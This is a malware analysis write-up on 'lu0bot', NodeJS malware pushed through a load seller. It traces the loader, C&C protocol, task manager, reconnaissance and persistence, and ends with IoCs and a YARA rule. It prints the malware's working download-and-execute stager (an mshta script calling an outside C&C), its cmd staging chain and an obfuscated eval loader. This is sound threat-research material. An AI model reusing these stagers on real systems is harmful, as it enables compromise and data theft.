In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.
I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.
I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.
Disclaimer: I don’t know the real name of this malware.
Minimalist C/C++ loader
When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.

Written in C/C++, only one function has been developped.
void start()
{
char *buff;
buff = CmdLine;
do
{
buff -= 'NPJO'; // The key seems random after each build
buff += 4;
}
while ( v0 < &CmdLine[424] );
WinExec(CmdLine, 0); // ... to the moon ! \o/
ExitProcess(0);
}
This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()

Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.
mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
x = 'WinHttp';
127;
x = new ActiveXObject(x + '.' + x + 'Request.5.1');
26;
x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
192;
x.send();
37;
y = 'ipt.S';
72;
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
179;
} catch (e) {};
234;;
window.close();"
Setting up NodeJs
Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
Let’s inspect the code (response) step by step
cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]
- Set the console into %ALLUSERPROFILE% path
- Create fake folder DNTException
[...] || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);
x.Open("GET",unescape(WScript.Arguments(0^)^),false^);
x.Send(^);
b = new ActiveXObject("ADODB.Stream"^);
b.Type=1;
b.Open(^);
b.Write(x.ResponseBody^);
b.SaveToFile(WScript.Arguments(1^),2^);
> get1618489872131.txt
& cscript /nologo /e:jscript get1618489872131.txt "http://hri2.xyz/hri/?%HEXVALUE%&b=%HEXVALUE%" node.cab
& expand node.cab node.exe
& del get1618489872131.txt node.cab
) [...]
- Generate a js code-focused into downloading a saving an archive that will be named “node.cab”
- Decompress the cab file with expand command and renamed it “node.exe”
- Delete all files that were generated when it’s done
[...] & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1618489872131.txt [...]
- Recreate a js script that will execute again some code
[...] cscript /nologo /e:jscript get1618489872131.txt "node -e eval(FIRST_STAGE_NODEJS_CODE)" & del get1618489872131.txt [...]
In the end, this whole process is designed for retrieving the required NodeJS runtime.

Matryoshka Doll(J)s
Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.

From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…

For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.
In the end, lu0bot is basically working in that way

After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.

For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:
- XOR
- AES-128-CBC
- Diffie-Hellman
- Blowfish
Understanding Lu0bot variables
S (as Socket)
- Fundamental Variable
- UDP communications with C&C’s
- Receiving main classes/variables
- Executing “main branches” code
function om1(r,q,m) # Object Message 1
|--> r # Remote Address Information
|--> q # Query
|--> m # Message
function c1r(m,o,d) # Call 1 Response
|--> m # Message
|--> o # Object
|--> d # Data
function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
|--> m # Message
|--> r # Remote Address Information
function ss(p,q,c,d) # ScriptSetup / SocketSetup
|--> p # Personal ID
|--> q # Query
|--> c # Crypto/Cipher
|--> d # Data
function f() # UDP C2 communications
KO (as Key Object ?)
- lu0bot mastermind
- Containing all bot information
- C&C side
- Client side
- storing fundamental handle functions for task manager(s)
- eval | buffer | file
ko {
pid: # Personal ID
aid: # Address ID (C2)
q: # Query
t: # Timestamp
lq: {
# Query List
},
pk: # Public Key
k: # Key
mp: {}, # Module Packet/Package
mp_new: [Function: mp_new], # New Packet/Package in the queue
mp_get: [Function: mp_get], # Get Packet/Package from the queue
mp_count: [Function: mp_count], # Packer/Package Counter
mp_loss: [Function: mp_loss], # ???
mp_del: [Function: mp_del], # Delete Packet/Package from the queue
mp_dtchk: [Function: mp_dtchk], # Data Check
mp_dtsum: [Function: mp_dtsum], # Data Sum
mp_pset: [Function: mp_pset], # Updating Packet/Package from the queue
h: { # Handle
eval: [Function],
bufwrite: [Function],
bufread: [Function],
filewrite: [Function],
fileread: [Function]
},
mp_opnew: [Function: mp_opnew], # Create New
mp_opstat: [Function: mp_opstat], # get stats from MP
mp_pget: [Function], # Get Packet/Package from MP
mp_pget_ev: [Function] # Get Packet/Package Timer Intervals
}
MP
- Module Package/Packet/Program ?
- Monitoring and logging an executed task/script.
mp:
{ key: # Key is Personal ID
{ id: , # Key ID (Event ID)
pid: , # Personal ID
gen: , # Starting Timestamp
last: , # Last Tick Update
tmr: [Object], # Timer
p: {}, # Package/Packet
psz: # Package/Packet Size
btotal: # ???
type: 'upload', # Upload/Download type
hn: 'bufread', # Handle name called
target: 'binit', # Script name called (From C&C)
fp: , # Buffer
size: , # Size
fcb: [Function], # FailCallBack
rcb: [Function], # ???
interval: 200, # Internval Timer
last_sev: 1622641866909, # Last Timer Event
stmr: false # Script Timer
}
Ingenious trick for calling functions dynamically
Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.
function sc(m, r) {
if (!m || m.length < 34) return;
m[16] ^= m[2];
m[17] ^= m[3];
var l = m.readUInt16BE(16);
if (18 + l > m.length) return;
var ko = s.pk[r.address + ' ' + r.port];
var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
m = {
q: m.readUInt32BE(0),
c: m.readUInt16BE(4),
ko: ko,
d: m.slice(6)
};
l = 'c' + m.c; // Function name is now saved
if (s[l]) s[l](m, r);
}
As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.
By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.
Buffer.readUInt16BE( offset )
In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).
A well-done task manager architecture
Q variable used as Macro PoV Task Manager
- “Q” is designed to be the main task manager.
- If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).
if (!lq[q]) { // if query not in the queue, creating it
lq[q] = [0, false];
setTimeout(function() {
delete lq[q]
}, 30000);
try {
for (var p = 0; p < m.d.length; p++)
if (!m.d[p]) break;
var es = m.d.slice(0, p).toString(); // es -> Execute Script
m.d = m.d.slice(p + 1);
if (!m.d.length) m.d = false;
eval(es) // eval, our sweat eval...
} catch (e) {
console.log(e);
}
return;
}
if (lq[q][0]) {
s.ss(ko.pid, q, 1, lq[q][1]);
}
MP variable used as Micro PoV Task Manager
- “MP” is designed to execute tasks coming from C&C’s.
- Each task is executed independantly!
function mp_opnew(m) {
var o = false; // o -> object
try {
o = JSON.parse(m.d); // m.d (message.data) is saved into o
} catch (e) {}
if (!o || !o.id) return c1r(m, -1); // if o empty, or no id, returning -1
if (!ko.h[o.hn]) return c1r(m, -2); // if no functions set from hn, returning -2
var mp = ko.mp_new(o.id); // Creating mp ---------------------------
for (var k in o) mp[k] = o[k]; |
var hr = ko.h[o.hn](mp); |
if (!hr) { |
ko.mp_del(mp); |
return c1r(m, -3) // if hr is incomplete, returning -3 |
} |
c1r(m, hr); // returning hr |
} |
|
function mp_new(id, ivl) { <----------------------------------------------------
var ivl = ivl ? ivl : 5000; // ivl -> interval
var now = Date.now();
if (!lmp[id]) lmp[id] = { // mp list
id: id,
pid: ko.pid,
gen: now,
last: now,
tmr: false,
p: {},
psz: 0,
btotal: 0
};
var mp = lmp[id];
if (!mp.tmr) mp.tmr = setInterval(function() {
if (Date.now() - mp.last > 1000 * 120) {
ko.mp_del(id);
return;
}
if (mp.tcb) mp.tcb(mp);
}, ivl);
mp.last = now;
return mp;
}
O (Object) – C&C Task
This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..
- It contains 4 or 5 values
- type.
- upload
- download
- hn : Handle Name
- sz: Size (Before Zlib decompression)
- psz: ???
- target: name of the command/script received from C&C
- type.
// o content
{
id: 'XXXXXXXXXXXXXXXXX',
type: 'upload',
hn: 'eval',
sz: 9730,
psz: 1163,
target: 'bootstrap-base.js',
}
on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.
Summary

Aggressive telemetry harvester
Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.
Preparing environment

Gathering system information
Process info
tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *
Network info
ipconfig.exe /all
route.exe print
netstat.exe -ano
systeminfo.exe /fo csv
Saving Environment & User path(s)

EI_DESKTOP
|--> st.env['EI_HOME'] + '\\Desktop';
EI_DOCUMENTS
|--> st.env['EI_HOME'] + '\\Documents';
|--> st.env['EI_HOME'] + '\\My Documents';
EI_PROGRAMFILES1
|--> var tdir1 = exports.env_get('ProgramFiles');
|--> var tdir2 = exports.env_get('ProgramFiles(x86)');
|--> st.env['EI_HOME'].substr(0,1) + '\\Program Files (x86)';
EI_PROGRAMFILES2
|--> var tdir3 = exports.env_get('ProgramW6432');
|--> st.env['EI_HOME'].substr(0,1) + '\\Program Files';
EI_DOWNLOADS
|--> st.env['EI_HOME'] + '\\Downloads';
Console information
These two variables are basically conditions to check if the process was performed. (ISCONPROBED is set to true when the whole thing is complete).
env["ISCONPROBED"] = false;
env["ISCONSOLE"] = true;
Required values for completing the task..
env["WINDIR"] = val;
env["TEMP"] = val;
env["USERNAME_RUN"] = val;
env["USERNAME"] = val;
env["USERNAME_SID"] = s;
env["ALLUSERSPROFILE"] = val;
env["APPDATA"] = val;
Checking old windows versions
Curiously, it’s checking if the bot is using an old Microsoft Windows version.
- NT 5.X – Windows 2000/XP
- NT 6.0 – Vista
function check_oldwin(){
var osr = os.release();
if(osr.indexOf('5.')===0 || osr.indexOf('6.0')===0) return osr;
return false;
}
exports.check_oldwin = check_oldwin;
This is basically a condition after for using an alternative command with pslist
function ps_list_alt(cb){
var cmd = ['qprocess','*'];
if(check_oldwin()) cmd.push('/system');
....
Checking ADS streams for hiding content into it for later

Harvesting functions 101
bufstore_save(key,val,opts) # Save Buffer Storage
bufstore_get(key,clear) # Get Buffer Storage
strstrip(str) # String Strip
name_dirty_fncmp(f1,f2) # Filename Compare (Dirty)
dirvalidate_dirty(file) # Directory Checking (Dirty)
file_checkbusy(file) # Checking if file is used
run_detached(args,opts,show) # Executing command detached
run(args,opts,cb) # Run command
check_oldwin() # Check if Bot OS is NT 5.0 or NT 6.0
ps_list_alt(cb) # PS List (Alternative way)
ps_list_tree(list,results,opts,pid) # PS List Tree
ps_list(arg,cb) # PS list
ps_exist(pid) # Check if PID Exist
ps_kill(pid) # Kill PID
reg_get_parse(out) # Parsing Registry Query Result
reg_hkcu_get() # Get HKCU
reg_hkcu_replace(path) # Replace HKCU Path
reg_get(key,cb) # Get Content
reg_get_dir(key,cb) # Get Directory
reg_get_key(key,cb) # Get SubKey
reg_set_key(key,value,type,cb) # Set SubKey
reg_del_key(key,force,cb) # Del SubKey
get_einfo_1(ext,cb) # Get EINFO Step 1
dirlistinfo(dir,limit) # Directory Listing info
get_einfo_2(fcb) # Get EINFO Step 2
env_get(key,kv,skiple) # Get Environment
console_get(cb) # Get Console environment variables
console_get_done(cb,err) # Console Try/Catch callback
console_get_s0(ccb) # Console Step 0
console_get_s1(ccb) # Console Step 1
console_get_s2(ccb) # Console Step 2
console_get_s3(ccb) # Console Step 3
ads_test() # Checking if bot is using ADS streams
diskser_get_parse(dir,out) # Parse Disk Serial command results
diskser_get(cb) # Get Disk Serial
prepare_dirfile_env(file,cb) # Prepare Directory File Environment
prepare_file_env(file,cb) # Prepare File Environment
hash_md5_var(val) # MD5 Checksum
getosinfo() # Get OS Information
rand(min, max) # Rand() \o/
ipctask_start() # IPC Task Start (Interprocess Communication)
ipctask_tick() # IPC Task Tick (Interprocess Communication)
baseinit_s0(cb) # Baseinit Step 0
baseinit_s1(cb) # Baseinit Step 1
baseinit_s2(cb) # Baseinit Step 2
baseinit_einfo_1_2(cb) # Baseinit EINFO
Funky Persistence
The persistence is saved in the classic HKCU Run path
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"
Critical files are stored into a fake “Intel” folder in ProgramData.
ProgramData
|-- Intel
|-- Intel(R) Management Engine Components
|--> Intel MEC 246919961
|--> Intel MEC 750293792
Intel MEC 750293792
new ActiveXObject("WScript.shell").Run('"C:\ProgramData\DNTException\node.exe" "' + WScript.Arguments(0) + '\Intel MEC 246919961" ' + WScript.Arguments(1), 0, false);
Intel MEC 246919961
var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());
The workaround is pretty cool in the end
- WScript is launched after waiting for 30s
- JScript is calling “Intel MEC 750293792”
- “Intel MEC 750293792” is executing node.exe with arguments from the upper layer
- This setup is triggering the script “Intel MEC 246919961”
- the Integer value from the upper layer(s) is part of the Blowfish key generation
- global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
- the encrypted buffer is storing the lu0bot NodeJS loader.
Ongoing troubleshooting in production ?
It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.

It feels like a possible debugging scenario for understanding an issue.

Outdated NodeJS still living and kickin’
Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.

This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.


The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).

Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.
By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.
What is the purpose of lu0bot ?
Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.
Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :
- Backdoor ?
- Loader ?
- RAT ?
- Infostealer ?
All scenario are possible, but as i said before I could be right or totally wrong.
Where it could be seen ?
Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.
Appendix
IoCs
IP
- 5.188.206[.]211
lu0bot loader C&C’s (HTTP)
- hr0[.]xyz
- hr1[.]xyz
- hr2[.]xyz
- hr3[.]xyz
- hr4[.]xyz
- hr5[.]xyz
- hr6[.]xyz
- hr7[.]xyz
- hr8[.]xyz
- hr9[.]xyz
- hr10[.]xyz
lu0bot main C&C’s (UDP side)
- lu00[.]xyz
- lu01[.]xyz
- lu02[.]xyz
- lu03[.]xyz
Yara
rule lu0bot_cpp_loader
{
meta:
author = "Fumik0_"
description = "Detecting lu0bot C/C++ lightweight loader"
strings:
$hex_1 = {
BE 00 20 40 00
89 F7
89 F0
81 C7 ?? 01 00 00
81 2E ?? ?? ?? ??
83 C6 04
39 FE
7C ??
BB 00 00 00 00
53 50
E8 ?? ?? ?? ??
E9 ?? ?? ?? ??
}
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
(filesize > 2KB and filesize < 5KB) and
any of them
}
IoCs
fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2 Lu0bot loader.exe c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf Lu0bot loader.exe b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad Lu0bot loader.exe 5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f Lu0bot loader.exe f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92 Lu0bot loader.exe 8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed response1.bin 214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d response2.bin c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545 response3.bin ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33 Intel MEC 246919961 e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067 Intel MEC 750293792
Example of lu0bot interaction
ko
{ pid: 'XXXXXX',
aid: '5.188.206.211 19584',
q: XXXXXXXXXX,
t: XXXXXXXXXXXXX,
lq:
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] },
pk: 'BASE64_ENCRYPTED',
k: <Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e>,
mp:
{ XXXXXXXXXXXX:
{ id: 'XXXXXXXXXXXX',
pid: 'XXXXXXX',
gen: XXXXXXXXXXXXX,
last: XXXXXXXXXXXXX,
tmr: [Object],
p: {},
psz: 1163,
btotal: 0,
type: 'download',
hn: 'bufread',
target: 'binit',
fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,i
size: 798,
fcb: [Function],
rcb: [Function],
interval: 200,
last_sev: XXXXXXXXXXXXX,
stmr: false },
XXXXXXXXXXXX:
{ id: 'XXXXXXXXXXXX',
pid: 'XXXXXXX',
gen: XXXXXXXXXXXXX,
last: XXXXXXXXXXXXX,
tmr: [Object],
p: {},
psz: 1163,
btotal: 0,
type: 'download',
hn: 'bufread',
target: 'binit',
fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
size: 798,
fcb: [Function],
rcb: [Function],
interval: 200,
last_sev: XXXXXXXXXXXXX,
stmr: false },
XXXXXXXXXXXX:
{ id: 'XXXXXXXXXXXX',
pid: 'XXXXXXX',
gen: XXXXXXXXXXXXX,
last: XXXXXXXXXXXXX,
tmr: [Object],
p: {},
psz: 1163,
btotal: 0,
type: 'download',
hn: 'bufread',
target: 'binit',
fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
size: 798,
fcb: [Function],
rcb: [Function],
interval: 200,
last_sev: XXXXXXXXXXXXX,
stmr: false },
XXXXXXXXXXXX:
{ id: 'XXXXXXXXXXXX',
pid: 'XXXXXXX',
gen: XXXXXXXXXXXXX,
last: XXXXXXXXXXXXX,
tmr: [Object],
p: {},
psz: 1163,
btotal: 0,
type: 'download',
hn: 'bufread',
target: 'binit',
fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
size: 798,
fcb: [Function],
rcb: [Function],
interval: 200,
last_sev: XXXXXXXXXXXXX,
stmr: false },
XXXXXXXXXXXX:
{ id: 'XXXXXXXXXXXX',
pid: 'XXXXXXX',
gen: XXXXXXXXXXXXX,
last: XXXXXXXXXXXXX,
tmr: [Object],
p: {},
psz: 1163,
btotal: 0,
type: 'download',
hn: 'bufread',
target: 'binit',
fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
size: 798,
fcb: [Function],
rcb: [Function] } },
h:
{ eval: [Function],
bufwrite: [Function],
bufread: [Function],
filewrite: [Function],
fileread: [Function] },
mp_pget: [Function],
mp_pget_ev: [Function],
mp_new: [Function: mp_new],
mp_get: [Function: mp_get],
mp_count: [Function: mp_count],
mp_loss: [Function: mp_loss],
mp_del: [Function: mp_del],
mp_dtchk: [Function: mp_dtchk],
mp_dtsum: [Function: mp_dtsum],
mp_pset: [Function: mp_pset],
mp_opnew: [Function: mp_opnew],
mp_opstat: [Function: mp_opstat] }
lq
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
' XXXXXXXXXXXXX': [ 1, <Buffer 31> ]
}
MITRE ATT&CK
- T1059
- T1482
- T1083
- T1046
- T1057
- T1518
- T1082
- T1614
- T1016
- T1124
- T1005
- T1008
- T1571
ELI5 summary
- lu0bot is a NodeJS Malware.
- Network communications are mixing TCP (loader) and UDP (main stage).
- It’s pushed at least with Garbage Cleaner.
- Its default setup seems to be a aggressive telemetry harvester.
- Due to its task manager architecture it is technically able to be everything.

Conclusion
Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.

I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.
Special thanks: @benkow_
Comments